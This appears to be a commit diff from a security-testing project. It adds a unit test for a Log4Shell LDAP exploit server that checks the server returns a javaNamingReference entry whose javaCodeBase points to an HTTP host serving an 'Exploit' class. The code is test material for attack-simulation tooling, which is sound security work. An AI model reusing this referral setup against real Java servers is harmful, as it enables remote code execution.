UT: Add unit test for Log4Shell LDAPExploitServer

monkey/infection_monkey/Pipfile

@@ -34,6 +34,7 @@ typing-extensions = "*"
 ldaptor = "*"
 
 [dev-packages]
+ldap3 = "*"
 
 [requires]
 python_version = "3.7"

monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_ldap_server.py

@@ -1,13 +1,35 @@
-from pathlib import Path
+import pytest
+from ldap3 import ALL_ATTRIBUTES, BASE, Connection, Server
 
-from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN, Tree
+from infection_monkey.exploit.log4shell_utils import LDAPExploitServer
+from infection_monkey.exploit.log4shell_utils.ldap_server import EXPLOIT_RDN
+from infection_monkey.network.info import get_free_tcp_port
 
 
-def test_java_code_base_url(tmp_path):
-    ip = "172.10.20.30"
-    port = 9999
+@pytest.mark.slow
+def test_ldap_server(tmp_path):
+    http_ip = "172.10.20.30"
+    http_port = 9999
+    ldap_port = get_free_tcp_port()
 
-    tree = Tree(ip, port, tmp_path)
-    ldif_path = Path(tree.path) / f"{EXPLOIT_RDN}.ldif"
-    with open(ldif_path, "r") as exploit_dit:
-        assert f"javaCodeBase: http://{ip}:{port}/" in exploit_dit.read()
+    ldap_server = LDAPExploitServer(ldap_port, http_ip, http_port, tmp_path)
+    ldap_server.run()
+
+    server = Server(host="127.0.0.1", port=ldap_port)
+    conn = Connection(server, auto_bind=True)
+    conn.search(
+        search_base=EXPLOIT_RDN,
+        search_filter="(objectClass=*)",
+        search_scope=BASE,
+        attributes=ALL_ATTRIBUTES,
+    )
+
+    assert len(conn.response) == 1
+    attributes = conn.response[0]["attributes"]
+
+    assert attributes.get("objectClass", None) == ["javaNamingReference"]
+    assert attributes.get("javaClassName", None) == ["Exploit"]
+    assert attributes.get("javaCodeBase", None) == [f"http://{http_ip}:{http_port}/"]
+    assert attributes.get("javaFactory", None) == ["Exploit"]
+
+    ldap_server.stop()